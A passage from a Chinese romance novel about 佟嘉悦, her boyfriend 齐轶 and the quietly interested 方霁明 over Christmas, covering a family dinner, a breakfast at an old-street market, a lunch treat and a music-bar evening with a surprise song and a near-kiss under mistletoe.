方才剑拔弩张的紧张气氛,在不知不觉间消散,如此丝滑自如,方霁明和佟嘉悦外婆、柴琳三人聊作一团,相谈甚欢。
齐轶默默咬一口水饺,内心莫名不是滋味。
像一头盘踞一方的雄性动物,面对与自己地盘的雌性群体融洽相处的外敌时,生出一种自己领地被入侵的警觉感,与巨大的失落感。
方霁明淡淡瞥他,问:“怎么了?”
正乐呵呵捧着碗,听她们聊这些鸡零狗碎的事儿的佟嘉悦,转过头来,打量齐轶一眼,也问:“你怎么看起来没精神?”
齐轶放下筷子:“没什么。”
“嘉嘉,”齐轶喊她,像一个故意吸引人注意的小孩儿,“马上圣诞节了。”
“嗯?是啊。”佟嘉悦眨了眨眼,“怎么了?”
佟大勇适时插话,说:“挺好,你们俩过节去。刚才我说的事,你们两个好好想一想,不要意气用事。”
佟嘉悦弯眼笑应:“没有意气用事,爸。”
语气不尖锐,却坚笃。
柴琳蹙眉,低斥:“嘉悦。”
眼见气氛又将凝滞,方霁明不动声色地出声,转移话锋。
“不是要请我吃饭吗?嘉悦。”
佟嘉悦顿了顿,“是哦,哥什么时候走?”
她想起上回见他还是园博园,他给自己送手帐制品那一次,她说好了要请他吃饭。
方霁明面不改色,“25号有空。”
“那不是圣诞节?”佟嘉悦略做思忖,“好,我请你!”
“我可以去蹭饭吗,哥?”齐轶幽幽出声,阴阳怪气。
“打扰你约会了?”方霁明面无表情地反问。
“噗哧”一声,老太太掩嘴笑出声。
佟嘉悦没好气地说:“你要介意,我安排好时间,单独请霁明哥吃,吃完再陪你过节;你不介意,那好说,你过来一起。”
齐轶要笑不笑,酸气冲天,“当然,我不嫌挤。”
佟嘉悦眼一白,桌子底下轻轻踢一下他腿。
方霁明好整以暇地说:“我还是不为难嘉悦了,下次再请我吧。”
“就请!”佟嘉悦冷哼了声,“别管他,爱来不来。”
方霁明偏头,齐轶紧盯着自己,眼神探究。
方霁明淡淡一笑,关切地问:“怎么了?”
齐轶:“……”
怎么感觉他莫名有点挑事儿呢!气人!
*
平安夜,佟嘉悦和齐轶出去一起吃了个饭,他和学生时代里每一个平安夜一样,塞给她一个过度包装的苹果,佟嘉悦捧着苹果笑吟吟打趣,老外可没这个习俗。
齐轶也笑,“不是习俗,是习惯。”
在平安夜给她送苹果,已成他的习惯。偶尔佟嘉悦会在当天回赠他一个苹果,亦或者没有,而在圣诞节回赠礼物。
佟嘉悦似乎看穿他的想法,故意说:“Sorry~我可没准备礼物。”
齐轶假装遗憾,“好吧。”
佟嘉悦不由莞尔,“走吧,回去了。”
商业街节日气氛正浓,街心放着一颗硕大圣诞树,绿与红的碰撞,灯带绚亮,漂亮橱窗外装饰圣诞花环和槲寄生,循环播放着节奏轻快的圣诞歌。
齐轶驱车送佟嘉悦回去,到小区门前,他一脸大度的模样,煞有其事地说:“圣诞节当天呢,你和霁明哥去吃饭吧,只准中午,你下班后,晚上时间都是我的。”
方霁明不晓得是不是最近看自己格外不顺眼,昨天没眼力见极了。气人归气人,反而有好处,齐轶有充足时间去筹备惊喜。
方霁明收到佟嘉悦的请客消息的时候,正在小区附近夜跑。
环城公园里的湖畔绿道上,他暂停运动手环,缓步继续走,从冲锋衣口袋里拿出手机回复。
佟嘉悦找他商量:我午休之后请你吃中饭,OK吗?
方霁明回:好,明天都有空。你来安排就好。
佟嘉悦回了一个“好的,老板”的猫猫头表情包。
方霁明短促笑了声。
翌日一早,天蒙蒙亮,佟嘉悦猝不及防地醒来,昨天一夜好眠,再无睡意。从枕头下摸出手机一看,才五点二十,想着磨蹭一会儿就起床,穿戴洗漱去上班。
她打开床头灯,把玩手机,顺手将昨晚做好的攻略,选好的几家的餐厅发给方霁明,让他挑选。
佟嘉悦:看哥想吃什么,这几家都还不错。
没想到方霁明这么早也醒着,秒回:好,我看看。
佟嘉悦吓了一跳,说:哥起这么早啊?
方霁明问:是,还睡吗?
佟嘉悦不假思索地说:不睡啦。
方霁明:我不介意你现在就出来,一起吃个早饭,当面聊。
佟嘉悦玩笑道:哥起这么早啊?不会就等着我请客的消息吧。
方霁明不置可否,说:几点上班?我马上来接你,吃完送你上班。
佟嘉悦说七点左右就要到学校,然后就又发来那个意味不明的“好的,老板”表情包。
可可爱爱,没有脑袋。
以前居住的城中村附近,有一条市井烟火气的老街,老街的早市闻名遐迩,方霁明和佟嘉悦没多异议,一拍即合,决定去那里的早市买油茶麻花和菜盒吃。
煎得金黄酥脆的菜盒,满满粉丝馅儿,是怀念的味道。
“好久没吃了,”佟嘉悦咬下一大口,颇为开心地说,“哥,你快尝尝,还是不是记忆里的味道?”
方霁明稍有一顿,敛眼低道:“记忆里的味道。”
“是啊是啊,”佟嘉悦点头如捣蒜,“我妈说你那段时间创个业,莫名其妙总跟自己较劲,三餐总吃一顿落一顿的,所以天天去早市买菜的时候,都会顺带给你买早餐回来,然后让我把你喊起来!”
方霁明唇畔噙了笑意,若有若无,反问:“没给你买?”
佟嘉
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悦瞅一眼手机时间,才六点钟。
她歪理一套套,嘴贫道:“我天天起早贪黑,喏,就这个点,上学跟上坟一样的心情,早上再不吃饱点儿吃好点儿,那能好好学习天天向上吗?”
其实不止早饭,但凡周末放假,亦或者知道方霁明在家,不在他那工作室码代码,把方霁明薅下楼吃饭的任务都光荣地落到了佟嘉悦身上。
佟嘉悦咂摸一圈,发现那时候自己真是没心没肺。
于是她悻悻然地问:“我那会儿天天逮你下楼吃饭,你是不是觉得我特烦人?”
男人缓缓抬起眼睑,静定的眸光落在她脸上。
“没有。”方霁明面无波澜地说,“我很期待房门外响起敲门的声音。”
佟嘉悦愣了愣。
他没有起伏地淡声叙述:“我很乐意有一个人形闹钟,在门口坚持不懈地念经:人是铁,饭是钢,一顿不吃饿得慌。哥,你不饿我饿了,你不吃我妈不准开饭,可怜可怜弱小又无助的佟嘉悦吧。”
就这么堂而皇之地把她的黑历史抖出来,佟嘉悦一时羞窘得不行。拆什么台啊这人,她愤愤咬一口菜盒,默默白他一眼。
“不准念了,我不要面子的啊!”
方霁明轻笑了下,“中午吃什么,想好了吗?”
佟嘉悦无端更悲愤了,“我还正吃着呢!”
*
佟嘉悦对吃漂亮饭兴趣不大,大抵为了节日应景,也可能因为离她上班的学校近,又或者方霁明更喜欢安静漂亮的用餐环境,当他在她发的备选餐厅选出这一家越南法餐的时候,佟嘉悦虽略感意外,还是欣然同意。
本来就是她请客,当然要以对方的喜好为重。
还好,味道胜在不错,价格也没想象的高,意外亲民。
佟嘉悦付完款,方霁明一副礼尚往来的语气,“下次来申城,我请你。”
“……”佟嘉悦默了默,又开始给她念“去申城”的催眠咒语了。
推门出去,店内的暖空气,与室外冷空气交叠,冷气陡然灌入脖颈,佟嘉悦忍不住打了个喷嚏。
方霁明抬手,本欲把手里拎着的礼袋递给她,却见她头也不回地走远。
店面开在秦城最繁华的商圈内,放眼望去,街上人满为患,不远处的潮玩店,右侧放了个拍照打卡的纸质假门,假门上满是红与绿的圣诞元素涂鸦,门扉上,倒悬一束槲寄生。
佟嘉悦走近瞧了瞧,假门正好走来一对年轻情侣,看起二十出头的大学生,其中的女生从外套口袋里摸出手机,调出摄像模式,向她求助:“姐姐,可以帮我们拍一张照吗?”
佟嘉悦接过手机,欣然应允:“可以啊。”
她举起手机,将摄像头对准他们,听到男生笑眯眯的说:“我们准备好了哦。”
佟嘉悦按下快门的间隙,男生飞快地凑过去,在女生的脸颊上落下一个吻。女生瞪大双眸的惊讶面容,由此定格。
女生面上羞赧一片,嗔骂:“你干嘛啊?”
男生只是嘿嘿笑:“你不知道圣诞节站在槲寄生下亲吻的情侣,会白头偕老永远在一起吗?”
女生默默吐槽:“外国的月老管不到我们这里吧?”
男生气呼呼地说:“喂,你是不是有浪漫过敏症啊!”
一对小情侣吵吵闹闹,女生红着脸来取手机,佟嘉悦笑吟吟把手机递给他,男生也慢吞吞走来,下巴往佟嘉悦身后努了努,颇为人来熟地说:“你们要不要也拍一张,嘿嘿。”
佟嘉悦转头,发现方霁明不知何时站在她身后,静静地看着他。
她这才明白过来,她和方霁明被误认为是情侣了。
佟嘉悦启口:“啊,不是——”
方霁明将手中的礼袋递给她,“嘉悦,圣诞礼物。”
小情侣八卦兮兮地偷笑,又热情地问一遍要不要拍,方霁明淡淡一笑,客气应道:“谢谢。”
而后垂眼看一眼腕表,面不改色地对佟嘉悦说:“走了,送你回去上班了。”
15. 15
佟嘉悦在下班后才打开方霁明送的礼物,是一条柔软蓬松的褐白格纹围巾,款式百搭,她很喜欢。
她没想到他还会带礼物,不然她会提前准备一分回礼。这样细细一算,她反倒又欠方霁明人情了?难不成她真的要去申城再请他吃一顿饭?
漫无边际地想着,佟嘉悦把围巾塞礼品袋里放好,蹲下,放进办公桌下的收纳篮里,又从旁边拎起给齐轶准备的圣诞礼物。
起身时,收到齐轶的微信消息。
齐轶:到了,我来接人咯。
出办公室,佟嘉悦一边下楼一边回:桥头麻袋,我正出来~
今天准点儿下班,正是放学时间点,校门口挤满接人的学生家长,两边停车道也停满了电动车和小汽车,道路水泄不通,齐轶不得不把车停在一公里外的地方,他提前下车,步行到门口接人。
“嘉嘉,嘉嘉!”齐轶混在学生家长之中,挥手笑喊她的名字。
佟嘉悦避让行人,慢吞吞走过去,齐轶分外眼尖,一眼瞥见她手里拎着的纸袋,待人一走近便问:“哟,这是什么?”
“你猜。”
“我猜是给你男朋友的圣诞礼物。”
佟嘉悦低声嘀咕他真自恋,齐轶二皮脸,笑吟吟顺走她手里的礼物,就拆开了看,一款机械表,是他前不久提过一嘴却一直忘了买的东西。
齐轶得寸进尺,“感动,喜欢,嘉宝真好。”
佟嘉悦凉凉白他一眼,“你再多说一句——”
齐轶嘿嘿笑,捏紧手指在嘴边做拉拉链状,见好就收,“OK,闭嘴。”
两个人沿着人行道往停车的方向走。
到地方,齐轶拉开车门,神秘兮兮地说:“走,带你去一个老地方,见见老朋友。”
老地方,仿若一个只有彼此心领神会的秘密据点。
齐轶从小到大,一直是一个社牛e人,满城乱逛,结交朋友,老的,小的,外地的,本地的,路边的狗他都蹲下能聊两句。
他刚会弹一首完整的曲子没多久,就背着吉他包跑去酒吧街晃荡,寻到一家音乐餐吧,进去就和店老板攀谈起来;来回几次,齐轶和老板熟悉起来。
又在因缘际会之下,发现老板堂弟是自己同班同学——两人在餐吧相遇,彼此大眼瞪小眼,而后把手一握,乐了。
齐轶再次带佟嘉悦来到这家音乐餐吧。
佟嘉悦第一次来的时候还是高一,齐轶带她去这些她从不会踏足的地方,于循规蹈矩的她来说,这是一场兴奋又快乐的冒险游戏。
他们之间,有太多太多如此这般的回忆。
“齐轶!佟嘉悦!”
餐吧老板和他弟弟陆循在吧台相迎,陆循身旁站着一个年轻靓丽的女人,应当是他女朋友。
佟嘉悦与陆循毕竟也是同一高中的校友,由齐轶介绍,一来二去也熟悉起来。和陆循女友小雯、陆老板挨个打过照面,陆循领人去二楼的餐桌。
吧台里的酒保上下晃荡着摇酒壶,一楼的餐桌上坐满了人,推杯换盏,吃饭喝酒,小小的舞台上乐队正在演奏一首节奏蓝调,松惬舒缓。
二楼临铁艺栏杆的地方,视野最佳,往下俯瞰,舞台一览无余。
餐吧里的圣诞气氛也很足,挑空的屋顶上倒悬几枝槲寄生,柔嫩的翠色枝条,系着红色缎带蝴蝶结,还有一只金色铃铛。
餐吧卖一些简便西餐、小食和酒,菜上得很快,味道普通,来这里的客人都是喝酒听歌为主,为氛围买单。
陆循一坐下就笑嘻嘻凑过去和佟嘉悦寒暄,说些客套废话,无多时,齐轶说去洗手间,悄无声息地离开。
佟嘉悦眨了眨眼,“真去洗手间?”
陆循笑着打哈哈,“嗐,人有三急。”
*
陆循问,他哥出去接个朋友,待会儿一块吃饭喝酒,介不介意?佟嘉悦有些心不在焉,无可无不可地点了点头。
陆循的女友小雯促狭地问:“谁啊?男的女的?”
陆循挑眉“嘿——”一声:“想什么呢?男的!我哥早结婚了,小孩儿都会打酱油了!”
陆老板就在街外接的人,这一块儿七弯八绕,朋友第一次来,他接到人就带进了店里,上二楼,一副“备有面儿”的自豪语气,笑着向大家介绍:“这是我朋友,我们那一届的学霸,现在在申城做游戏,你们指不定都玩过。”
刻板印象里的学霸,不是书呆子,也是hotnerd类型,跳不出这个框架,陆循第一次见来人,清挺颀长,英俊落拓,不由自主“嚯——”地一声。
陆循在想什么他哥猜得七七八八,陆老板屈指,猛地敲他一脑瓜崩,“人帅哥,还可会玩,咱俩街机厅搓游戏机认识的,拳皇啊街霸啊互相搓招,你哥就没赢过,又是网吧里一起打CF打WOW的交情,懂不?就这么玩着学着,拿着奖学金保送进的申大,可不是死读书的书呆子,好吧?”
陆循点点头:“懂了,你是菜狗。”
陆老板剜他一眼,“滚蛋!”
“你们好,”男人淡声打了个招呼,垂眼,看向托腮望着楼下舞台的女人,“我坐这儿可以吗?嘉悦。”
正发呆的佟嘉悦猛地回神,抬眸,“霁明哥?”
方霁明极轻地笑了下,旁若无人地问:“在发什么呆呢?”
“没有没有,”佟嘉悦拉开左侧靠栏杆的位置,“哥你坐这里,那里是齐轶的位置。”
方霁明随口问:“他人呢?”
佟嘉悦“啊”一声,拖腔带调,“人有三急。”
“可不是么。”陆循嘿笑出声。
“合着你们都认识啊?”陆老板说。
佟嘉悦笑着点点头,“是啊是啊。”
“真巧。”陆老板讶然笑道,“他头一次来,你们就碰上了。”
正此时,音响骤然“滋啦——”一声,刺耳的音频划破耳膜,旋即传来男人几分歉意的声音,“啊抱歉,抱歉。接下来唱首歌,送给我女朋友。”
陆循颇为捧场地啪叽啪叽拍两下手,吆喝道:“大歌手献唱啦,鼓掌鼓掌。”
熟悉的前奏起,齐轶找人借了把吉他,自弹自唱,依旧是那首《嘉嘉》。
“好会哦,”小雯目露歆羡,小声埋怨陆循,“你看人家多会给人惊喜,再看看你。”
陆循一脸无辜,“我怎么了?”
“你知道今天——算了!”小雯说着有些来气,偏过头不理他。
一曲毕,齐轶笑眯眯地朝二楼她们的方位挥手,绽出一口皎白的牙齿,“嘉嘉,圣诞快乐哦。”
有乐迷认出齐轶,欣喜上前,拿着餐巾纸要签名,也有客人探头探脑,往楼上看“嘉嘉”真容。
如一颗小石子投入无边无垠的深海,内心掀起小小的波澜,涟漪荡开,瞬即归于平息,佟嘉悦发现自己的内心陷入了空芜。
齐轶三步做两步,一路跑上楼来,她都没关注到方霁明,拉开椅子坐下就迫不及待地问:“嘉嘉,我刚刚唱得怎么样?”
佟嘉悦笑,“挺好。”
“我也觉得挺好。”齐轶臭屁笑说。
惊喜的献唱,而后是惊喜礼物——至少他自己是这么认为的。
他塞到佟嘉悦手里一个
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礼盒,掀开盖子,里面装着一款拍立得,“我前几天闲得没事翻相册,发现咱们合照很少欸,以后我们得一起多出去旅旅游,多些自拍,都保存起来!”
佟嘉悦顿了顿,“就我们两个人吗?”
齐轶保证,“对。”
二人说话间,小雯一旁看着,扫一眼陆循,往桌子一趴,闷闷不乐起来。
陆循见状讪笑了声:“轮到我有三急了,哈哈。”
小雯从臂弯里稍稍抬头,这里的人她都不熟,她着急低喊:“不是,你哪儿去啊你?”
陆循溜得飞快,“马上回来,马上回来。”
*
手中的玻璃杯轻轻晃动,冰球碰撞,威士忌的酒液摇淌,杯壁的细密水珠滑落,手心一片沁凉。
方霁明一直偏着头,凭栏俯瞰楼下,当自己不存在——他不明白自己偏要来制造“偶遇”,却又在此时故意降低自己存在感的矛盾心态。
齐轶兴致勃勃和佟嘉悦聊完,终于发现了他的存在,他愣了半晌,“我没瞎吧,霁明哥?”
方霁明终于启口,似笑非笑,“恭喜你,没瞎。”
佟嘉悦说:“巧吧,这世界还是太小了。”
“巧、巧吗?”齐轶喃喃自问。
方霁明平声评价:“刚才唱得不错。”
齐轶故作谦虚,“谢谢哥。”
快十分钟了,陆循还没回来,小雯坐不住了,气冲冲地起身就要走,陆老板和齐轶同时起身拦住她。
“哎——别走啊,小雯。”
“把我一个人晾在这儿,算什么事儿啊?”
小雯委屈不已,正准备继续跟陆老板抱怨他堂弟的冷落,一刹那间整个餐吧忽然断电,灯光尽数熄灭,陷入一片黝暗。
店内随即慌乱了一瞬,喊声此起彼伏。
“我操,跳闸了?”
“服务员、服务员、老板!快处理一下啊!”
“老戏码了,有人过生日?”
顷刻间,音响设备里的生日快乐歌响起,二楼的拐角,陆循端着一个圣诞花环的蛋糕,唱着生日歌一步一步走近。
附和的唱声一起,前后左右各个方位的客人,齐齐化身道具师,拉开礼花筒,“嘭嘭”两声,彩纸喷洒、彩带飘出,全楼层只有蛋糕上那点儿的幽幽烛光,小雯的脸上转怒为喜,鼓着腮睨向对方。
“小雯生日快乐,也祝你圣诞快乐。”陆循笑嘻嘻地说,“快吹蜡烛,许愿许愿!”
“据说在圣诞节这一天,站在槲寄生下接吻,情侣会白头偕老。”他又说。
佟嘉悦又听到这一套论调,她这才想到他们的头顶上,房梁上倒悬着槲寄生,果然下一刻,在小雯吹灭蜡烛,余光烬灭前,佟嘉悦似乎看到女人踮起脚,亲了一下对方的唇。
一片漆黑当中,齐轶撑着桌子倾身,一阵窸窣响动,佟嘉悦感觉他凑了过来,心头一跳,下意识躲开,偏头,却撞上一双静谧而幽深的眸,男人的呼吸清晰可闻,近在咫尺。
——近到稍稍一低头,方霁明就可撷取她的唇。
阒静的黑暗里,佟嘉悦呼吸轻屏,心跳倏地漏掉一拍,方霁明垂着眼睑注视着她,不躲不闪。
无多时,灯亮了。
方霁明不留痕迹地拉开距离,抬手,自佟嘉悦的额发间取下一张彩纸碎片,面不改色道:“头发上有东西。”
也据说,在槲寄生向心仪的人索吻,对方不能拒绝。
她刚才为什么会躲开呢?
一种隐秘又鼓噪的冲动震在胸膛,是否代表他有机会,趁虚而入呢,方霁明那一瞬间在想。